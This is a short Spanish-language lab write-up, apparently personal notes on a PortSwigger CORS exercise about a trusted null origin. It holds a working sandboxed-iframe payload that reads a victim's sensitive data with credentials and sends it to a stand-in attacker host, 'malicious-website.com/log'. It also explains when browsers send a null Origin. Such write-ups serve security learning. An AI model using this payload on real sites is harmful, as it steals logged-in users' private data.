Skip to content

2 - CORS vulnerability with trusted null origin

#cors #accesscontrol #portswigger #writeup

El 0bjetivo es emitir una solicitud que tenga como cabecera origin "null" para que coincida con Access-Control-Allow-Origin: null

html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
	var req = new XMLHttpRequest();
	req.onload = reqListener;
	req.open('get','vulnerable-website.com/sensitive-victim-data',true);
	req.withCredentials = true;
	req.send();
	function reqListener() { location='malicious-website.com/log
	key='+this.responseText; };
</script>">
</iframe>

En el estándar CORS, el valor Origin generalmente indica el dominio de origen de la solicitud. Sin embargo, el valor null en el encabezado Origin es una excepción que se usa en casos especiales, como:

  • Solicitudes desde archivos locales (protocolo file://).
  • Redirecciones entre dominios.
  • Solicitudes sandboxed en iframes.

Notas personales de seguridad ofensiva.